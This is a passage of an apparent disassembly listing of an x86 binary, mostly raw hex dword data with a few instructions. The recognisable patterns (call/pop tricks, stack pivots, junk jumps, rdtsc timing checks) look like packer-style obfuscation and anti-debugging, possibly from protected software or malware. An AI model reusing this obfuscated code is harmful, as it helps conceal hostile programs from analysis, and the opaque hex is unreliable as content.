1604h, 0C3554500h dd 60273152h, 0B3DE0FB8h, 8C0F517Bh, 0 dword_565E54 dd 0B70F6158h, 1860FD8h, 0FC000000h, 6A10E8C1h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 3E1C357h, 0E951C91Ah, 7, 0C15CDA2Eh, 66B6EF30h, 6A08C8C1h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 6336C357h, 0BAAB6A6Ah, 0FCF7CE3h, 185h, 8589F800h dd 61E88EBh, 0CBC166F9h, 12E9F508h, 52000000h, 0DD90026Eh dd 5AEEDC47h, 47B9EE6Dh, 6914B638h, 40FB837Eh, 77850Fh dd 8DF50000h, 1E88BFBDh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0BBE8DE64h, 12890F9Ah dd 0F000000h, 0C87h, 7E900h, 28EF0000h, 0F1BB55E8h, 0FE9E0h dd 0BCBC0000h, 71713CFEh, 6A5F3C6Ch, 131A6DCEh, 212E9EFh dd 0F5600000h, 12E960h, 1B4F0000h, 0D4EAA441h, 257EB556h dd 0E952B6CEh, 7CBCDA8Eh, 61C7BF0Fh, 0DFB8361h, 75850Fh dd 8DF90000h, 1E88C7BDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 7CD906A3h, 0E960D11Dh dd 0Bh, 253485C9h, 0BF3B9A5Ch, 617C60BDh, 1ABE9h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0CC26D8F9h, 10E9F9A1h, 2F000000h, 27693FE5h, 3DF44354h dd 8CC93F05h, 83AD262Bh, 850F01FBh, 0A8h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 18h, 0DBC35646h, 6BC0E5B6h dd 97BF6660h, 14E839h, 377D0000h, 0AD8528E2h, 49F27C38h dd 2ED5B228h, 0EE25DEABh, 615952C1h, 118B0Fh, 0CE90000h dd 2F000000h, 92DB2461h, 2C2414E3h, 8DC42719h, 1E88CFBDh dd 0B870F06h, 0E9000000h, 6, 0E3388A2Dh, 0F9E9947Ah, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 484DC350h, 12E905h, 3060000h, 6E364D1h, 0A422A919h dd 90B3F3DDh, 6CA16C44h, 0F2AFB83h, 3F85h, 0B0B36000h dd 79F78166h, 0BD8D6188h, 61E88D7h, 0FAB70F60h, 0F861FE8Bh dd 9FE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 0EA6C57E3h, 0BD1DF00Ch, 0F27FB83h dd 34785h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 0A56DDB35h, 504DB0EDh, 5E9h, 0E17A7E00h dd 666079DBh, 0F60FA8Bh, 8Ah, 7E800h, 0E2110000h, 1B9D17B2h dd 61615AFFh, 88DFBD8Dh, 6A061Eh, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 81E7A6C3h, 1800F61h dd 0F8000000h, 88EFBD89h, 66F5061Eh, 0AE9C88Ch, 36000000h dd 77816598h, 24A44B3Fh, 324F53Ch, 0D3F08060h, 0FC00A61h dd 1DC85h, 0C38B6000h, 0B5E78166h, 0B58D6105h, 61E8F5Ah dd 0EE9h, 0F43D9D00h, 9B258D47h, 0E7C19DD5h, 8B94BC32h dd 1E8FB685h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 5E1C31F9h, 11E9h, 0AD74F400h, 6688F071h dd 41A81C9Bh, 0FA481C3Bh, 6050257Ah, 0AE960h, 0BCB0000h dd 45ECF67Bh, 66389710h, 310F5250h, 0E961585Ah, 0Fh, 0D4A184FAh dd 0B6F15927h, 0D80D83A3h, 610BE6DAh, 6A241489h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0D8B9C355h, 25BB99E6h, 6E960h, 764B0000h, 52051E6Eh dd 58F0Fh, 81660000h, 61561DE1h, 0AE9h, 7F929F00h, 1F8289D5h dd 0F59EBF8h, 0FE244C01h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 4C35040h, 82F49272h, 0AE99Ch, 274E0000h dd 0B20CCC23h, 0CAC4FC91h, 6A5AFCh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 2467EAC3h dd 0BF3A5551h, 0FC4020E2h, 6A24C283h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 3800C356h dd 303A3C59h, 6619038Eh, 0FFC7289h, 180h, 0C1F9FC00h, 6A10CEh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0BA8854C3h, 6E9E6A2h, 0EF000000h, 0A08B8321h, 728966E5h dd 53006A02h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 0E6040BF6h, 0FC499D0Dh, 800F04CDh, 8, 66616060h dd 61671BBAh, 7FE9h, 7E900h, 5DCC0000h, 991CBA5Ah, 0B6858B21h dd 6A061E8Fh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0F508C353h, 8F5AB58Dh, 8E0F061Eh dd 8, 2890Fh, 61600000h, 40F4858Dh, 8B60061Eh, 6E9DEh dd 60B40000h, 0C9F9B1CDh, 6AD0FF61h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0C248C353h dd 21935E0Fh, 0F513BBFFh, 88E78589h, 6A061Eh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0C075B3C3h dd 0F78D595Bh, 0EE960h, 26B30000h, 0EB28E8A5h, 1ED3D5E9h dd 0F916D990h, 612DC380h, 16850Fh, 11E90000h, 96000000h dd 9F875774h, 8536F8A4h, 48FBEFABh, 75345513h, 0B70F6061h dd 858B61F3h, 61E88E7h, 7E9h, 2884E300h, 0EC796D27h, 9E9C3h dd 8A490000h, 845BDD3Ch, 60894CE0h, 0CE9h, 0C541CA00h dd 3C8501C5h, 0C13CEEA6h, 0BD83FC10h, 61E8FB6h, 11850F00h dd 0F9000000h, 8FB685C7h, 13F061Eh, 0B3600001h, 61F08A4Eh dd 24E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 0A1F99904h, 0E5D647B7h, 20CD20h dd 0B000000h, 8D3774C0h, 0BD8B0C70h, 61E88EFh, 8B9h, 2275A600h dd 8BFA7549h, 9D8B3048h, 61E88EBh, 7F34583Bh, 6BD38B15h dd 0CA0304D2h, 8589018Bh, 61E88E7h, 8B04EBh, 8B61C5EBh dd 1E88E785h, 0B960CF06h, 20DAF803h, 61C88B60h, 0C8C0F61h dd 0F000000h, 68Ah, 8C0F00h, 0F000000h, 582h, 0C6806000h dd 0C08B616Bh, 0CE8h, 0EAC41C00h, 86CB5AF4h, 0D2BC7067h dd 8BD381B5h, 595FAA8Eh, 0C181C18Bh, 63E6h, 683F681h, 0BF2CDAh dd 0F000000h, 28Bh, 0FFDAB300h, 8B660F34h, 0B1605ADEh dd 619AB3BDh, 146CEA81h, 8166651Ah, 813C8EE3h, 0D6FD00F2h dd 3EC28142h, 52083A07h, 3AA3BE66h, 8A39048Fh, 44EF81E7h dd 66666520h, 0D6CAE381h, 2040C781h, 81F96665h, 0FF9CD4FFh dd 2A850FFFh, 0E8000000h, 5, 3B755481h, 48D0F20h, 66000000h dd 5E0A36BBh, 2AE9h, 0DD463600h, 6C61676Dh, 94C3754Ch dd 9B098E16h, 0E903B7F9h, 0FFFFFF83h, 0B7FC2A62h, 916AF8B8h dd 1678B684h, 0B005A40Ah, 0E9003B95h, 148h, 50h, 54h, 58h dd 5Ch, 60h, 64h, 68h, 6Ch, 0B0h, 0B4h, 0B8h, 0BCh, 0C0h dd 0C4h, 0C8h, 0CCh, 0D0h, 0D4h, 0D8h, 0DCh, 0E0h, 0E4h dd 0E8h, 0ECh, 38h dup(0) dd offset dword_565E54+7F0h dd 9E50EBh, 90EF858Dh, 8589061Eh, 61E922Fh, 6870Fh, 95890000h dd 61B242Dh, 239D85C6h, 0F54061Bh, 584h, 0E9816600h, 71681617h dd 81D71E19h, 4EB82404h, 85891744h, 61B0BA1h, 2F11B5FFh dd 5BB9061Bh, 8D795ED8h, 1E704685h, 0BE906h, 78BC0000h dd 16FB0D2Ch, 7441CB3Bh, 52D0FF38h, 68D0Fh, 8D8B0000h dd 61B1241h, 89F1B55Ah, 1E923385h, 0C9BF0F06h, 44E9h, 0FE8B6600h dd 2FB58B56h, 89061E92h, 2F858306h, 4061E92h, 8D60C35Eh dd 1E90EFB5h, 560FEB06h, 36FF006Ah, 923395FFh, 835E061Eh dd 3E8304C6h, 61EC7500h, 86C681C3h, 667DC974h, 585DC681h dd 0C7E38166h, 0C9858DD1h, 0B9061E92h, 445B43ACh, 8589FAB5h dd 61B1A95h, 0E5E9h, 0EE4D1000h, 3271DCFFh, 0E0A1D1Fh dd 538FDD7Ah, 2F6D3733h, 773D557Dh, 7DD57F2Dh, 3D577DD7h dd 75DF6DF7h, 7DD773D5h, 0EDF73D57h, 5375D55Fh, 2F6D3733h dd 773D557Dh, 7DD57F2Dh, 1E577DD7h, 75DF6D17h, 60206020h dd 0E0E02020h, 68AC2060h, 0E4A9F77Bh, 0B2D020A1h, 0B7EDA693h dd 0F291B99Dh, 6020ACA3h, 60206020h, 0E0E02020h, 53752060h dd 2F0D0A33h, 6020557Dh, 60206020h, 362BA728h, 60D650F0h dd 0A1EFB6F3h, 0B4E0F796h, 92B8E3A7h, 0E9B3F471h, 60F76DB9h dd 60206020h, 20206020h, 1ADF6DF7h, 7DD77335h, 0EDF73D57h dd 5375D55Fh, 2F6D3733h, 773D557Dh, 7DD57F2Dh, 3D577DD7h dd 75DF6DF7h, 7DD773D5h, 0EDF73D57h, 5375D55Fh, 2F6D3733h dd 0A1E357Dh, 0C1A8000Eh, 0FD54A766h, 22543F2h, 15E9297Ah dd 6800000Ch, 61E96A7h, 0FCEA23E9h, 977A68FFh, 19E9061Eh dd 68FFFCEAh, 61E983Eh, 0FCEA0FE9h, 991468FFh, 5E9061Eh dd 68FFFCEAh, 61E9988h, 0FCE9FBE9h, 9A4268FFh, 0F1E9061Eh dd 68FFFCE9h, 61E9B64h, 0FCE9E7E9h, 9C6168FFh, 0DDE9061Eh dd 68FFFCE9h, 61E9D0Ch, 0FCE9D3E9h, 9DE068FFh, 0C9E9061Eh dd 68FFFCE9h, 61E9E9Dh, 0FCE9BFE9h, 26C1B3FFh, 0E3826C83h dd 1CC3AF44h, 0EA85667Dh, 22C9B047h, 9C8DA7Fh, 51A649F0h dd 0EE58427h, 4AA140DFh, 0F3E78A2Dh, 0E90AD350h, 846538D6h dd 39DC1BBEh, 9FDAA99Ch, 758358F8h, 2D77E7Bh, 96B451F8h dd 72BC7B14h, 751D5ADFh, 0C87DEFEEh, 8604823Eh, 1FAA2FE3h dd 7289179Ch, 0AE4AC4F5h, 0E190B53h, 690684FFh, 27CA6D8Ah dd 8104A7D0h, 447E7F04h, 1C11C72Ch, 8E32B053h, 444C8EB5h dd 802EC72Ch, 0E0836CF1h, 0C968865Dh, 9B7A1E2Ch, 42312B44h dd 0BE3C0EA7h, 0A435BA37h, 0BBC72C44h, 6390A94Dh, 956AF194h dd 3119B65Dh, 333FB48Dh, 0F300F38Ch, 0A14BBF58h, 8333A0CEh dd 0FC33B9ECh, 0CB666C55h, 8C6B8020h, 94CC46E9h, 38FC69A0h dd 9EA736BDh, 0F5BAC72Ch, 92B855FCh, 28777010h, 0CB000005h dd 9C39DC1Bh, 0EE751857h, 0D1DAA36Ah, 0DE82DFF4h, 0FC76CB3Fh dd 827851F4h, 8A0842DBh, 0F8017E03h, 973EC865h, 45CA8D31h dd 0C4F54187h, 28B32498h, 0AC58A11Eh, 0D137C72Ch, 0EF1A2141h dd 6A6FD471h, 93C72C7Fh, 0DD079510h, 32FDE185h, 12EFEE73h dd 482C72Ch, 4DB7BA64h, 0FC692517h, 5141h, 0A73EC100h dd 7D47961Dh, 0AC1A3EC8h, 0A28A72Eh, 0CEC4F4AEh, 0B20DCC53h dd 0E664C72Ch, 0E7800642h, 2CB2995Ch, 0B45B97C7h, 0FF9ED81Bh dd 0F77AA466h, 48E58472h, 139A8002h, 0B6FFAE85h, 653EA0C8h dd 0FC4EE78Ah, 359FB25Ch, 0FC6989BFh, 0E499h, 0DC1B2900h dd 1A579C39h, 0F39C8B65h, 910FE165h, 4DF0FFF4h, 5A01F9C6h dd 50E98DBDh, 0AA31D4A3h, 0FEE3861Eh, 0CC584622h, 73638CD5h dd 0BE5D0180h, 0C8C07379h, 0C164933Eh, 9E6FAE3Ah, 7E0C08F5h dd 0CBA43BDAh, 8305A4D1h, 34952CEAh, 5FC832B1h, 0D95CC4F5h dd 2CA2835Ah, 0FE5ADEC7h, 356622h, 0BF44C749h, 0C72C453Eh dd 1713B351h, 3E054AA3h, 9F26DE70h, 2C64D920h, 0D052B8C7h dd 0EAB8BF4Dh, 0E4CD1230h, 0AC31E544h, 7719961Dh, 0E83D122Eh dd 0ED04DB62h, 254CA346h, 18BB5070h, 0F5735F03h, 0C578F321h dd 0EAF0BD43h, 8DBh, 3ADD7874h, 872AC9A5h, 44E38A70h, 7E21BCAFh dd 46E99069h, 29508123h, 0F008DF82h, 1855AA4Dh, 0F601D679h dd 8302B453h, 0D6EBFDFCh, 279B9438h, 9837DE1Bh, 0EE913443h dd 0CBA73E68h, 26C1B2ACh, 0C13FC189h, 0AEFFB53Ah, 0E560C4F4h dd 2CB29F5Eh, 0D654F2C7h, 0B2F70A39h, 8620C72Ch, 814B81EBh dd 0AC83FC69h, 0C68421C4h, 0A3A922h, 1B190000h, 579C39DCh dd 69DA731Ah, 3EC87983h, 2ED17483h, 62FB9ED9h, 199C2DB4h dd 0AAF209Ah, 0AA4DBB3Bh, 65E8E178h, 0C5EA5CE0h, 0B6F02E4Eh dd 16A6FAF0h, 31AEF5BFh, 0C72C5FA8h, 1FBF41C7h, 12FA0B1Ah dd 9062D63Dh, 56BF89Ch, 49169D1Bh, 11E68930h, 6D0CEAE8h dd 28F87AD0h, 43C4E38Eh, 8E5F5BAh, 0A1000008h, 429938D3h dd 0DDF29534h, 34CB6E15h, 0E6FD9C37h, 0A0C5640Bh, 0F39AD7FAh dd 0CE717F54h, 0FA99D42Bh, 0D4778057h, 7D028135h, 38D6EA7Ch dd 1BA81A13h, 439837DEh, 6BEE9134h, 16BA5994h, 5B966D10h dd 0B0BF14B4h, 0BEB9860Dh, 28C8821Bh, 680BE40Fh, 30BBB3C9h dd 169D20A9h, 0C4F559A0h, 36343E33h, 52F8953Ch, 3DCB52D0h dd 0CEA46875h, 3ED69B27h, 10BB30D0h, 0C5E79013h, 5884198h dd 0E8A98C7Eh, 22A91F3Fh, 0B8BDD096h, 0D97D6309h, 3A8FD640h dd 72132CB3h, 720631E9h, 8AF1A473h, 0E36AE8B2h, 0BD40E30Ch dd 8950E52Fh, 7115879Fh, 0B8C08F92h, 2ED27815h, 2BFB9ED9h dd 5EE04095h, 4400DAB3h, 0DD000007h, 0FED5740Fh, 59AE51F0h dd 0D77A21h, 22B958F3h, 6C11B057h, 0B75E9B36h, 12B5C318h dd 0BE5D986Fh, 8ABC41Bh, 51CE7569h, 38D6E588h, 1B3C06E7h dd 7A9C39DCh, 0D95FE6E3h, 773F18D7h, 0D659FD2Bh, 0F525FB59h dd 43E664C4h, 0BC3F8ACFh, 0C80BD37h, 4C239E3Dh, 0E3FA7F26h dd 7ECD0EC8h, 7E038A08h, 0C87D7C03h, 7614CD0Eh, 41F2FDD2h dd 4FF23572h, 0FEA5CCAAh, 845BFE7Ch, 0E584716Bh, 0E7800248h dd 9C1FAA2Fh, 0EE747A10h, 0FCCA4EA2h, 22EA7A53h, 7DC060B5h dd 2FBE13F6h, 0CCA98637h, 38BA902Dh, 1711DEB5h, 32B134DBh dd 0D36F9EABh, 1FC240C6h, 890CAFC8h, 7C1CBBBAh, 0DBEE73A3h dd 918DDB58h, 0F8C72952h, 7FBB5B02h, 34813509h, 0FA93578Eh dd 66EE0h, 4AE50700h, 872650A7h, 40E713E8h, 8E294AA1h dd 36DD14EBh, 0A52CAE93h, 6D8225CCh, 0AA41E083h, 768D2CCBh dd 7F33D679h, 0E47E7F04h, 181138D6h, 4EDF6DAAh, 0C1F8C231h dd 9128DA7Eh, 432EB538h, 0D6C4E932h, 0BC3EDD19h, 0EA8D6A39h dd 24C7B047h, 93368B8Bh, 16319310h, 0CCA33D17h, 0E46000A3h dd 261BE261h, 1076CD0Fh, 0BB36BE92h, 7D1243C5h, 5FA5Dh dd 0C6619300h, 3A2CC23h, 0BC638F64h, 0AA5C61Dh, 0C2699067h dd 29A83A1Fh, 0F106A950h, 2EC56407h, 0EA01A03Fh, 13C76A0Dh dd 0E4EAF370h, 0A48538D6h, 22A73E1Eh, 0C9DE149Bh, 381C4E9h dd 21C4B380h, 948E697Eh, 0AD2CB35Bh, 0C4C72911h, 1F2BC446h dd 0C339C93h, 0FD7BB80Bh, 952FB660h, 290DCF0Eh, 0A624A2C7h dd 0B8ADA01Fh, 0C6443D08h, 0C03FC23Fh, 0CD0AA039h, 0B94EF258h dd 677C1BBEh, 0FD48E588h, 0A0E2FB78h, 4E24CD0Ah, 0F99D2BA7h dd 9417B207h, 0CE0F9411h, 48CD0AA0h, 5DED8A31h, 82C767DDh dd 3737AFF4h, 3654FC80h, 44C5D244h dd 4E22A8A4h, 5DA59F8Ch, 4023B778h, 0D9000005h, 8A61009Bh dd 0D52ACD6Ch, 7C53F69Dh, 9E35D46Fh, 0E88D2CD3h, 0AB521FB2h dd 56F9F70Ch, 0B2511CB3h, 5CFFF80Fh, 58A09BDh, 38D6E7F4h dd 1B20A28Bh, 579C39DCh, 20D27518h, 26AD3099h, 0C4F559E4h dd 31D4A370h, 0E67F1E58h, 288C464h, 2BCAA47Bh, 4C91B28Bh dd 0B9C72CA1h, 0A21A84CBh, 0B4FC6991h, 36h, 94334211h dd 966D2EF4h, 3119B659h, 83469B8Dh, 0AEA18300h, 0CC3AC4F4h dd 108F1233h, 0C72CB2C9h, 0B97E22A8h, 0C72CB224h, 0B21C33D1h dd 0FC69813Ah, 0E01Ch, 0DC1BA600h, 1A579C39h, 7DE8F16Eh dd 0F3873EC8h, 54CD2799h, 9368EAA6h, 0A946C463h, 0ED8A2D4Ah dd 0A346E906h, 7A2D19Eh, 0E708E267h, 0ED0A3EC8h, 0CDA2A74Ah dd 24CBA6A4h, 9D4109A6h, 0F38C2F48h, 0A82B9E23h, 0F5C4012Bh dd 8B45D3C4h, 28CFAA92h, 0CD2FBB8Fh, 0A023AFA3h, 902E0842h dd 0C64400A0h, 5F6AEF23h, 9CD657DCh, 0FB893D13h, 0BE6FFD78h dd 0E5CEB2AFh, 2EF04A4h, 4A27BC5Bh, 0BF05D3A3h, 3AD343C5h dd 41EA0h, 1AB5B700h, 0F7966077h, 0D0778358h, 0FE99DA31h dd 0C66D845Bh, 359C3E23h, 0DDF2953Ch, 3AD17013h, 0E6FD9C3Bh dd 0FC36609h, 0E6EEEF74h, 0A88138D6h, 6BE86D1Ah, 3EC87D92h dd 22B757EDh, 0FA11B057h, 4ED35AFDh, 0C87D08D1h, 1AE3603Eh dd 753EC87Dh, 1CF5930Fh, 2F0EB251h, 0CBA73E27h, 0D7730CABh dd 574DD259h, 8C4F4AEh, 9B5EE582h, 84C72CB2h, 0F76DD79Ah dd 61FC6980h, 0C4h, 39DC1BE1h, 730EDDB2h, 77D070DAh, 51F801CEh dd 0DDF296B4h, 75D06D14h, 932CD39Eh, 0D81217B7h, 3A3EC879h dd 0E0F79A3Dh, 6ADB7417h, 0B30D3DDEh, 0BC5CE79Ah, 4FD6F34Ah dd 0A1FDAD0h, 902F953Bh, 0A67D479Eh, 5C9D26C9h, 33C72C62h dd 10B3BC95h, 0CE55D377h, 12C72751h, 4BD2383Dh, 33D67D74h dd 605221EEh, 0EB5FF893h, 1C6CD06Dh, 0BFC44CAEh, 0CB20C042h dd 5B3707AEh, 6D43C499h, 3213AA0h, 0BABA0000h, 8B6B801Fh dd 0BCB64DECh, 8E5D7215h, 727F54F3h, 93492CCBh, 0ED8C333Eh dd 9837DA16h, 0F4933243h, 0CA6D10DFh, 0E7F67D18h, 7A38D6E1h dd 0DF6D11B1h, 1F2170ADh, 0DCF195A1h, 34CB6E15h, 31F9983Bh dd 9C39DC1Bh, 0D2751857h, 5CE14E7Eh, 0F769E66Dh, 88C4F559h dd 27820902h, 84A37A38h, 8C098C3Dh, 7717B6B7h, 5A3268B2h dd 0E8850391h, 0AB32972Eh, 7DD66B24h, 0DB18E78Bh, 0E98C6B40h dd 0F87B0945h, 0C39B4C2Bh, 702B35Ah, 6B72F174h, 677BD4Ch dd 885F0280h, 0B9C6BE6Fh, 0BC2A363Eh, 370A6A3Eh, 0D9B6F977h dd 27601h, 42DD0F00h, 8F2E489Fh, 38DF1BF0h, 96314299h dd 6E15DCF3h, 0DDF4A6CBh, 35CA6D14h, 0E2F9983Bh, 0FED57413h dd 37AB4EF1h, 0E0C6179Ch, 0D09938D6h, 59966DF2h, 0B2BD12B6h dd 0B8B78C0Fh, 7D4A9310h, 9F253EC8h, 8A314821h, 60B95DEDh dd 1AE360E5h, 753EC87Dh, 0F6078C0Fh, 89C13782h, 14A95BFBh dd 0DCB32EB5h, 6FDB740Fh, 53F88ACFh, 5833B0Bh, 47E00E62h dd 0D37A80F2h, 0EF51CE55h, 803D1196h, 6B7A110Ah, 0C081B047h dd 48CD5079h, 38D87F7Bh, 0CF9019F3h, 71F492F3h, 2E7F4AEBh dd 98380FC2h, 8742977Fh, 0A5C07F04h, 0C94CF5C9h, 0C9A5B34Ah dd 9838CE15h, 0D8A72E9Ch, 23CBA59Fh, 0C9A55D9Ch, 14963415h dd 13DCF396h, 3926A070h, 0AD829B03h, 1A22Dh, 9E393B00h dd 6B0AE4FBh, 943B37CCh, 720DDEF5h, 9A4138CFh, 815052F7h dd 0D92ED178h, 865DFC9Fh, 0D229C867h, 6B5F02A5h, 0E0926BE8h dd 0FCED38D6h, 39DC1B46h, 0E1E37A9Ch, 0C87D9B62h, 1290F63Eh dd 5016048Bh, 1BA9C4F5h, 82DBE87Ch, 88078E3Bh, 3D118C16h dd 9D261BA9h, 8214A0FCh, 0D9D8008Ch, 1542A190h, 8F3A7F71h dd 0BDBA890Ch, 29CD7D1Ah, 22522624h, 0B24BB9FEh, 3DA0593h dd 0BF3533E2h, 7158ED1Fh, 0E0DA15EAh, 70DA731Ah, 15E46BF2h dd 6C0A7338h, 7AF73ADEh, 8F28CBA5h, 79161BBBh, 0DCF052A8h dd 0DF18E76Eh, 0CD6A09E5h, 875CFB7Dh, 0BFF1C568h, 99E9E34h dd 0E55684h, 6E7E0000h, 0CF9F34D3h, 807A9130h, 0D2A136D9h dd 36439837h, 578DF08Fh, 39D87F7Ah, 9433D6A2h, 0F08F2E3Fh dd 9639DC1Bh, 0DB22A124h, 0B638D6E3h, 0DC1B4DF5h, 0E37A9C39h dd 0C6E05FE6h, 99C4F4ADh, 439A8C2Bh, 19E412Fh, 0BF44C749h dd 3D0D062Dh, 0C42FC83Eh, 0ECE4FAABh, 0F28B2A4Bh, 3EA7CC58h dd 0E9FEA11Fh, 10E9660Eh, 6FCD0E07h, 0FFD457D9h, 97B050EFh dd 7118E1AEh, 4DD276D4h, 1C69A567h, 0AF343BE3h, 0B77A1DC0h dd 0EB6810E8h, 0FAA9A512h, 0B559D76Dh, 31B45720h, 54F19862h dd 8CB952F6h, 0A5738A09h, 780EFAA9h, 55F003D8h, 933F3BB8h dd 0A9A5CD0Ch, 0A426A4FAh, 6D10E80Bh, 0D6A17AD0h, 604A9A33h dd 0F725E311h, 7D6E4578h, 0CEA93EE2h, 78778C2Bh, 0CA238D5h dd 0F8000000h, 0FD2EDF6Dh, 0AB5327A2h, 1BDF610Bh, 52A13ED9h dd 0EE58225h, 4CA740DFh, 0FE48124h, 51A23BE2h, 0FE48128h dd 4FA441DCh, 10E37C23h, 24AE47E6h, 815E5456h, 4C6h, 4EE8300h dd 5C243487h, 1AC368h, 243C8900h, 5FAA68h, 24348900h, 1E946868h dd 243C8B06h, 5404C483h, 8324348Bh, 0EC8304C4h, 243C8904h dd 0FF08468Fh, 815E2434h, 4C4h, 243C8B00h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_53531C ; --------------------------------------------------------------------------- dd 0FBCA611Dh, 1F91A7C5h, 1E9FA7B8h, 0FFC50306h, 0C5E960E0h dd 0E4B0E902h, 8D98CC3Fh, 186F7260h, 94054A75h, 16C7105Eh dd 0D60B620Eh, 0A736C69h, 0BDBA4755h, 104BEB43h, 3C2F0E09h dd 0DA4B1AC5h, 0D41CA4ACh, 0E45C5CD2h, 3134CE00h, 27CE1BF5h dd 34D129B3h, 2AC7DD5Bh, 1BCE17E6h, 0DB6734DFh, 0B30A00A6h dd 0EA1A0049h, 0D5A3h, 199C0000h, 0FEBFh, 0FBFE3Dh, 41280000h dd 7DD427E6h, 0B8E9C372h, 0E900000Ch, 0Ch, 0A4CDA58Dh dd 135DC7F6h, 0A96B6618h, 1CD5BD83h, 0F00061Bh, 3085h dd 298D8900h, 0B8061B29h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0EAC35040h dd 290004C2h, 1B0CE99Dh, 0FC08B06h, 889h, 0BD8B6000h, 61B0931h dd 0D1BD8361h, 61B23h, 0BD830975h, 61B3129h, 50137400h dd 0B8C08B53h, 4D0h, 0A4219D8Dh, 0D3FF061Dh, 0BD83585Bh dd 61B3129h, 50117400h, 4D0B853h, 9D8D0000h, 61DA36Eh dd 585BD3FFh, 6870Fh, 9D8B0000h, 61B31F5h, 4800Fh, 0BB660000h dd 6A5729h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 664BE9C3h, 6772E281h, 8531C08Bh, 61B244Dh dd 0A081858Dh, 6A061Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 3F0CA7C3h, 88482A76h, 0B590E02Eh dd 6A905032h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0CDC6C356h, 0A347BAC7h, 0A03E858Dh dd 8166061Eh, 90BCFEC1h, 0F50CF8Bh, 889h, 28B0F00h, 8A000000h dd 6A90F4h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 95FF0EC3h, 61B0D75h, 424448Bh, 0DD98D8Bh dd 89FC061Bh, 1EA06985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 0EE9B1C1h, 98000000h dd 0AEF0A7AEh, 4D811B8Fh, 0C6BF3E17h, 24448B8Bh, 56006A08h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 559D290Ah, 0BF061B1Ah, 569C4C12h, 0A07D8589h, 8166061Eh dd 836F8DF2h, 1B24FDBDh, 850F0006h, 0D9h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 15h, 0ECC35040h, 0C6AAB14Eh dd 1B239D85h, 95234706h, 61B0D55h, 0AAADAF68h, 81F58A8Ah dd 0FA232404h, 6A49EFh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 881128C3h, 0C4637F1h, 0B9B589h dd 958B061Bh, 61B06A9h, 2F11B5FFh, 8D89061Bh, 61B2BB5h dd 7046858Dh, 6A061Eh, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 8B32B9C3h, 1B08198Dh, 0E9D0FF06h dd 0Bh, 2597738Fh, 605B395Dh, 8977F22Ah, 1B24FD85h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 9BE8BE69h, 0FE54348Eh, 2DBD8384h, 61B2Fh, 7E850Fh, 0BD8B0000h dd 61B09EDh, 239D85C6h, 8047061Bh, 326846D2h, 66486FE6h dd 81FA64BFh, 0CFB02404h, 6A419Fh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0DD58AFC3h, 10EFBA9Fh dd 5DBD8911h, 31061B01h, 1B014185h, 0F5BF6606h, 11B5FFF3h dd 29061B2Fh, 1B2E31B5h, 46858D06h, 8B061E70h, 1B0B61BDh dd 8BD0FF06h, 1B223D9Dh, 2D858906h, 66061B2Fh, 0BC2DC981h dd 35BD83h, 0F00061Bh, 12D85h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 65B31643h dd 0CB8B664Ah, 32D19D8Bh, 85C6061Bh, 61B239Dh, 68D68056h dd 11E9h, 39D7B800h, 7147783Dh, 86E19FEAh, 0A5F8092Dh dd 4E847CAh, 39000000h, 0FD41F6Dh, 0F87h, 0AE900h, 874E0000h dd 68C2EDCh, 3ED9E8BCh, 60525050h, 310F5250h, 0BA66585Ah dd 0F61270Bh, 50525031h, 5A310F52h, 5A310F58h, 8B585A58h dd 50042444h, 0FACB552h, 5AC88B31h, 89008B58h, 0F042444h dd 386h, 0D38B6600h, 0B5FFF558h, 61B2F11h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 64C35343h, 298D09F3h dd 8D061B0Dh, 1E704685h, 